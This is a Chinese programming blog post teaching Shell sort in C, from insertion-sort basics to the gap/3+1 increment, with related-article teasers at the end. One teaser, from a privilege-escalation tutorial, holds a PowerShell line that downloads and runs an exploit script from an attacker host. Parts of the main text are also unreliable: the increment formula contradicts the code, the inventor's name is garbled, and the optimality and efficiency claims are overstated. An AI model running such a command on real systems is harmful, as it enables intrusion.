【排序算法】希尔排序详解(C语言)

文章目录

  • 前言
  • 希尔排序的原理
    • 原理思路
  • 代码实现
  • 希尔排序的相关问题
    • 效率
    • 算法稳定性

前言

为什么会有希尔排序,要从插入排序说起,希尔排序一开始设计出来是为了改进插入排序,因为插入排序在处理大量数据时效率不高,特别是对于近乎有序的数据。
对于插入排序:
1.当数组逆序有序时它的效率最低,时间复杂度为:O(n^2);
2.当数组顺序有序时它的效率最高,时间复杂度为:O(n);

希尔排序的主要动机是观察到插入排序在处理小规模数据时的高效性。然而,对于大规模数据,插入排序需要进行大量的元素交换,尤其是在数据分布不均时。

希尔排序的原理

对于希尔排序:

希尔排序通过引入一个增量序列,采取分组排序策略:将大数组分为若干个子序列,对每个子序列进行插入排序。随着增量逐渐减小,子序列变得更小,最终达到增量为1,整个数组变成一个有序序列,完成排序。这种排序方式使得希尔排序在初始阶段,使用较大的步长让序列更快时间的接近有序,并且减少了不必要的比较与交换

希尔排序的优势在于它能够利用插入排序对于部分有序数据的良好性能,同时通过分组和调整步长,减少了排序过程中的比较和交换次数。这使得希尔排序在某些情况下比直接插入排序更快,特别是在处理大规模数据和部分有序数据时。

由于希尔排序的这些特点,它被广泛应用于实际编程中,尤其是在需要快速排序但又不能接受复杂度较高的排序算法(如归并排序)的情况。不过,希尔排序的性能仍然受到增量序列选择的影响,不同的增量序列可能导致不同的性能表现。

原理思路

在这里插入图片描述
上面是插入排序的过程;

相比插入排序,希尔排序最重要的一点就是:选择一个合适的gap(增量)

  1. 预排序
    希尔排序先通过插入排序让序列接近有序,这一过程称为预排序
    我们首先要选取一个值为gap(增量),以增量为间隔决定它们的分组方式,分隔开之后对每个子序列进行插入排序
  2. 直接插入排序
    在预排序结束之后,序列已经是接近有序,这是我们只需要进行一次直接插入排序后,序列就会为有序;

在这里插入图片描述

在上图中用同一种颜色指向的元素为同一组,为了能更好的理解希尔排序,我们先分析其中一组元素的排序过程,以黑色的一组来分析。
//插入排序
void InsertSort(int *arr, int n) {for (int i = 0; i < n - 1; ++i) {//一趟int end = i;int tmp = arr[end + 1];while (end >= 0) {if (tmp < arr[end]) {arr[end + 1] = arr[end];} else {break;}--end;}arr[end + 1] = tmp;}
}

我们已知gap == 3,这组元素的间隔就是gap,

  1. 那么我们需要在插入排序的基础上,将for循环中,i每次循环之后的加1,改为每次加gap;
  2. 我们知道在插入排序中,tmp指向的值代表的意思是,我们当前的end所要比较的下一个元素,所以在预排序阶段中,要将arr[end+1]改为arr[end+gap];
  3. 还有一个问题,for循环的结束条件也要改变,由于我们此时每次的移动距离变为了gap,到第二组走到最后一个元素时,它还会接着进入循环当中,那么势必就会造成越界访问,所以在这里我们的结束条件改为n-gap这样当第一组,第三组走到倒数第二个元素时,他不会结束循环,而是再走完一次循环后结束,第二组也能走到最后一个结束;
    具体代码表示为:
int gap = 3;
for (int i = 0; i < n - gap; i+=gap) 
{//一趟int end = i;int tmp = arr[end + gap];while (end >= 0) {if (tmp < arr[end]) {arr[end + gap] = arr[end];} else {break;}end-=gap;}arr[end + gap] = tmp;}
}

在了解了一次的实现过程后,我们再看上面的图会发现,当gap等于几,就有几组子序列,所以我们实现多组时,只需要在外面再增加一层循环让gap组依次排序,定义变量,再让它自增,结束条件为等于gap时;
在这里插入图片描述

int gap = 3;
for(int j = 0;j < gap ; j++)
{for (int i = 0; i < n - gap; ++i) {//一趟int end = i;int tmp = arr[end + gap];while (end >= 0) {if (tmp < arr[end]) {arr[end + gap] = arr[end];} else {break;}end-=gap;}arr[end + gap] = tmp;}
}

但这种方式有些过于繁琐,我们还有另一种——让多组并着走

这个版本的希尔排序称为“简单希尔排序”(Simple Shell Sort)。下面是代码的详细分析:

  1. 循环变量i:循环变量i从0开始,表示当前正在处理的元素索引。它会遍历所有gap个元素,直到到达数组末尾(n - gap)。

  2. 一趟排序:对于每个gap范围内的元素,我们有一个内层循环,它的目标是将当前gap范围内的元素按照升序排列。
    2.1. 临时变量tmp:用于暂存arr[end + gap]的值,以便与arr[end]进行比较。
    2.2 . while循环:从arr[end]开始,向左移动gap个位置,比较arr[end]和tmp。如果tmp小于arr[end],就将arr[end]的值移动到正确的位置,否则结束循环。
    2.3. end -= gap:每次循环结束后,end会向左移动gap个位置,继续处理下一个元素。

  3. 插入元素:当内层循环结束后,将tmp(即原始的arr[end + gap])插入到正确的位置,使得gap范围内元素有序。

  4. 重复:外层循环会一直执行,直到i到达n - gap

当它在排序时,它不再一次移动gap个位置,而是依次遍历整个序列,虽然结束条件为n-gap但是由于在内层循环中,tmp依旧是arr[end+gap]所以我们交换时还是遵循一个组和一个组的交换,也能找到n-gap之后的元素;
在这里插入图片描述

int gap = 3;
for (int i = 0; i < n - gap; i++) 
{//一趟int end = i;int tmp = arr[end + gap];while (end >= 0) {if (tmp < arr[end]) {arr[end + gap] = arr[end];} else {break;}end-=gap;}arr[end + gap] = tmp;}
}

相比于上面的方式,这种代码方式的优势:

  1. 实现简单:简单希尔排序的实现相对简单,它只需要固定一个增量,然后进行插入排序操作。这使得它在教学或快速原型开发时更为方便。
  2. 易于理解:由于其基本思想是将数组分为若干子序列,然后对每个子序列进行插入排序,这种逻辑比希尔排序的复杂增量序列选择更容易理解。
    3.适用于小规模数据:对于小型数据集,简单的插入排序可能已经足够快,而希尔排序的优化可能带来的额外复杂性可能不值得。

然而,简单希尔排序的劣势在于:

  1. 效率不稳定:固定增量可能导致在不同数据集上的性能差异较大。如果数据是部分有序的,增量较小的版本(如直接插入排序)可能会表现得更好。而对于随机分布的数据,优化的希尔排序通常会有更好的平均性能。
  2. 没有理论上的最优:希尔排序是一种基于插入排序的改进,理论上可以达到O(n^1.3)的时间复杂度,但这个理论最优仅适用于特定的增量序列。简单希尔排序由于其固定的增量,无法达到这一最优性能。

这都是因为我们的增量变量,选的不合适,所以我们要对增量的选取进行优化;
一种常见的优化方式就是采用gap= gap/3 + 1 的递推公式进行优化,这样会产生一个相对合理的gap增量值;
选择原始增量序列作为希尔排序优化的原因主要有以下几个方面:
避免小增量值

  1. 增量序列可以避免产生较小的增量值,从而减少了排序过程中不必要的比较和移动操作。小增量值会导致排序效率严重下降,接近于插入排序的时间复杂度。
  2. 增量值差异较大
    增量序列生成的增量值差异较大,可以有效地打乱原始序列,从而提高排序的效率。相邻增量值之间的差距较大,可以很好地减少小值对较大值的干扰。
  3. 收敛较快
    增量序列可以较快地收敛到 1,从而在后期阶段实现对整个序列的高效插入排序。这种增量序列的收敛速度较快,可以减少不必要的排序轮次。
  4. 简单高效
    增量序列的生成公式 gap = gap * 3 + 1 非常简单,在实现上也相对高效。这种增量序列的计算成本较低,不会给排序带来太多额外开销。
  5. 理论支持
    增量序列是由计算机科学家D.L.Shill 提出并分析过的,它具有一定的理论依据和优化效果。通过分析和实验证明,这种增量序列可以使希尔排序达到最优的时间复杂度 O(N^1.3)。
    虽然 Knuth 增量序列不一定是最优的增量序列,但它在实践中表现出了良好的效果和稳定性。许多著名的算法书籍和库都采用了 Knuth 增量序列作为希尔排序的优化方案。相比其他一些复杂的增量序列,Knuth 增量序列更加简单高效,是一种折中的选择。
    当然,除了 Knuth 增量序列之外,还有其他一些常用的增量序列,如 Hibbard 序列、Sedgewick 序列等,它们也具有一定的优化效果。在实际应用中,可以根据具体情况选择合适的增量序列。

对于上面我们所展现的代码只是预排序阶段,由于gap不等于1,所以只能实现相对有序,因为只有当gap为1的时候,程序才算执行了一次标准的插入排序,这样整个数组才能够完全有序,这也是我们流程的第二步,我们上面的Knuth增量序列最终也会使得gap变为1,在预排序阶段执行的每一次插入排序,我们都要通过Knuth增量序列来改变gap的值,来使得我们每一次选取的gap值都为最佳值,而当gap等于一时,我们就让程序进入第二步最后一次的插入排序。

//循环中的增量序列
while(gap>1{gap = gap/3 + 1;
}

代码实现

具体代码如下:

void ShellSort(int* a, int n)
{int gap = n;while (gap > 1){// +1保证最后一个gap一定是1// gap > 1时是预排序// gap == 1时是插入排序gap = gap / 3 + 1;for (size_t i = 0; i < n - gap; ++i){int end = i;int tmp = a[end + gap];while (end >= 0){if (tmp < a[end]){a[end + gap] = a[end];end -= gap;}else{break;}}a[end + gap] = tmp;}}
}

希尔排序的相关问题

效率

希尔排序的效率很大一部分是取决于增量gap的选择上,而我们在上面对他进行了优化之后,会处在O(n^1.3)左右,

还有就是为什么插入排序很多次,但效率依旧很高:
因为当我们在预排序阶段进行多次的插入排序时我们是以gap作为元素间隔,这样当我们进行一次插入排序时,它走的步数会大大缩减,结合我们前面所说的总结下来就是:

  1. 分组插入排序
    希尔排序实际上是将原始数组按照一定增量分组,分别对每一组进行直接插入排序。随着增量的逐渐减小,每组中的元素越来越少,插入排序的效率也就越高。
  2. 局部有序性
    在每轮增量排序之后,数据在若干个较大的组内是有序的。因此,在进行下一轮较小增量的排序时,数据整体的无序程度较低,插入排序的效率会更高。这种局部有序性随着增量的减小而增强。
  3. 有序子序列移动
    在进行插入排序时,希尔排序不需要每次都从头开始插入,而是从前一个有序子序列的最后一个元素开始比较和移动。这避免了一些不必要的数据移动,从而提高了效率。
  4. 缓存利用率高
    由于希尔排序每次只对相邻的部分元素进行插入排序,所需移动的数据量比全局排序要小得多。这意味着更好地利用了CPU缓存,减少了内存访问次数,从而提高了运行效率。
  5. 较少数据交换
    与需要大量数据交换的算法(如快速排序)相比,希尔排序主要依赖元素位置移动来达到排序效果。这避免了数据交换所带来的额外开销。

算法稳定性

算法稳定性具体指的是在排序算法中,对于值相等的元素,排序后它们的相对顺序是否于原始序列相同。
一个稳定的排序算法会使值相等的前后顺序不改变,反之不稳定的则可能会打乱他们之间的顺序。

对于希尔排序而言,它是不稳定的。
不稳定的原因在于:
. 在每一轮插入排序的过程中,当有多个元素值相同时,希尔排序总是将后面的元素移动到已排序区间的前面,从而打乱了值相同元素的原始相对顺序。
. 具体来说,在插入排序的内层循环中,当遇到一个值与已排序区间中某个元素相同时,通常会将这个元素直接插入到该相同元素的后面,而不会考虑它们原始的前后顺序关系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28969.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MySQL】MySQL数据库基础|数据库的操作|常用数据类型|表的操作

目录 一、数据库的操作&#xff08;针对“数据集合”的操作&#xff09; 1.显示当前的数据库 2.创建数据库 3.使用数据库 4.删除数据库 二、常用数据类型 1.数值类型 2.字符串类型 3.日期类型 三、表的操作 1.列出当前数据库的表 2.创建表 3.查看表结构 4.删除表…

11.5.k8s中pod的调度-cordon,drain,delete

目录 一、概念 二、使用 1.cordon 停止调度 1.1.停止调度 1.2.解除恢复 2.drain 驱逐节点 2.1.驱逐节点 2.2.参数介绍 2.3.解除恢复 3.delete 删除节点 一、概念 cordon节点&#xff0c;drain驱逐节点&#xff0c;delete 节点&#xff0c;在对k8s集群节点执行维护&am…

CesiumJS【Basic】- #006 浏览器控制台查看位置角度

文章目录 浏览器控制台查看位置角度1 目标 浏览器控制台查看位置角度 1 目标 浏览器控制台查看位置角度

KVB:怎么样选择最优交易周期?

摘要 在金融交易中&#xff0c;周期的选择是影响交易成败的重要因素之一。不同的交易周期对应不同的市场环境和交易策略&#xff0c;选择合适的周期可以提高交易的成功率。本文将详细探讨交易中如何选择最优周期&#xff0c;包括短周期、中周期和长周期的特点及适用情况&#…

软考系统规划与管理师伴读脑图第9章

周末发系统规划与管理师的试听视频&#xff0c;占用了发送次数&#xff0c;所以上周的脑图推迟了今天发出。 不知不觉已经发到了第9章&#xff0c;感叹这就是坚持积累下来的力量&#xff0c;其实考试也是一样的道理。

Git--Part3--远程操作 配置 标签管理

theme: nico 远程仓库 Git 是分布式版本控制系统&#xff0c;同⼀个 Git 仓库&#xff0c;可以分布到不同的机器上。怎么分布呢&#xff1f; 最早&#xff0c;肯定只有⼀台机器有⼀个原始版本库&#xff0c;此后&#xff0c;别的机器可以 “克隆” 这个原始版本库&#xff0…

AI导航网

文章目录 1、[AI导航网](https://www.ainav.cn/) 1、AI导航网 https://www.ainav.cn/

苍穹外卖笔记-18-修改密码、bug记录

文章目录 1 修改密码1.1 需求分析和设计1.2 代码实现1.2.1 admin/EmployeeController1.2.2 EmployeeService1.2.3 EmployeeServiceImpl 1.3 功能测试 2 bug记录 1 修改密码 完结的时候发现还有一个接口未实现。这里补充 1.1 需求分析和设计 产品原型&#xff1a; 业务规则&am…

CMake从安装到精通

目录 引言 1. CMake的安装 2. CMake的原理 3. CMake入门 3.1 CMakeLists.txt与注释 3.2 版本指定与工程描述 3.3 生成可执行程序 3.4 定义变量与指定输出路径 3.5 指定C标准 3.6 搜索文件 3.7 包含头文件 4. CMake进阶 4.1 生成动静态库 4.2 链接动静态库 4.…

CTFshow之RCE代码命令远程执行第49关详细讲解。可私信!

棺材里伸手&#xff0c;死要钱&#xff01; --古吉拉特邦 莫迪大仙 引言&#xff1a;由于有些题目实在是让人抓挠&#xff0c;我看完题解后难以接受知识机械的执行获取flag&#xff0c;所以我想着尽可能用我的语言去进行解释&#xff01; 由于是验证猜想实验&#xff0c;所以…

代发考生战报:HCIP H12-725安全变题了

代发考生战报&#xff1a;HCIP H12-725安全变题了&#xff0c;幸好当天找客服办理的包过服务&#xff0c;听同考场的考生说&#xff0c;考试全是新题&#xff0c;只有1-2个是题库上的题&#xff0c;自己考的都考挂了&#xff0c;帮我答题的老师很厉害&#xff0c;很赞&#xff…

GenICam标准(二)

系列文章目录 GenICam标准&#xff08;一&#xff09; GenICam标准&#xff08;二&#xff09; GenICam标准&#xff08;三&#xff09; GenICam标准&#xff08;四&#xff09; GenICam标准&#xff08;五&#xff09; GenICam标准&#xff08;六&#xff09; 文章目录 系列文…

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff09;&#xff0c;主要是通过从外部给大模型补充一些知识&#xff0c;相当于给模型外挂了一个知识库&#xff0c;让…

单片机(STM32)与上位机传输浮点数

目录 单片机(STM32)与上位机传输数据的方法1. 传输整形数据2. 传输浮点数据3. 如何打包与解包 单片机(STM32)与上位机传输数据的方法 在进行单片机程序的开发时&#xff0c;常常需要与其他设备进行通信。一种情况是与其他电路板通信&#xff0c;比如STM32主机与STM32从机通信&…

胡说八道(24.6.9)——离散时间系统及simulink仿真

上回说道拉普拉斯变换的定义、性质以及在电路分析中的应用。今天先来谈谈simulink仿真&#xff0c;可为是让我非常的震惊&#xff0c;今天做了三种模型的应用。第一个是simulink中有限状态机的应用&#xff0c;用来解决一些复杂的逻辑问题&#xff0c;实现状态之间的转换。第一…

Pytorch深度解析:Transformer嵌入层源码逐行解读

前言 本部分博客需要先阅读博客&#xff1a; 《Transformer实现以及Pytorch源码解读&#xff08;一&#xff09;-数据输入篇》 作为知识储备。 Embedding使用方式 如下面的代码中所示&#xff0c;embedding一般是先实例化nn.Embedding(vocab_size, embedding_dim)。实例化的…

双绞线(网线)的制作与测试

实验目的 1、熟悉常用双绞线&#xff08;网线&#xff09;及其制作工具的使用&#xff1b; 2、掌握非屏蔽双绞线的直通线、交叉线的制作及连接方法&#xff1b; 3、掌握双绞线连通性的测试。 设备要求&#xff1a;RJ45压线钳&#xff0c;RJ45水晶头&#xff0c;UTP线缆&…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

LSTM模型预测时间序列

长短期记忆模型(Long Short-Term Memory, LSTM)&#xff0c;是一种特殊的循环神经网络&#xff0c;能够学习长期依赖性。长短期记忆模型在各种各样的问题上表现非常出色&#xff0c;现在被广泛使用&#xff0c;例如&#xff0c;文本生成、机器翻译、语音识别、时序数据预测、生…

经典老款双运放NE5532

1 产品特点 等效输入噪声电压&#xff1a; 5nV H z \sqrt[]{ Hz} Hz ​&#xff08;典型值&#xff0c;1 kHz&#xff09; 单位增益带宽&#xff1a;10 MHz &#xff08;典型值&#xff09; 共模抑制比&#xff1a;100 dB &#xff08;典型值&#xff09; 高直流电压增益&…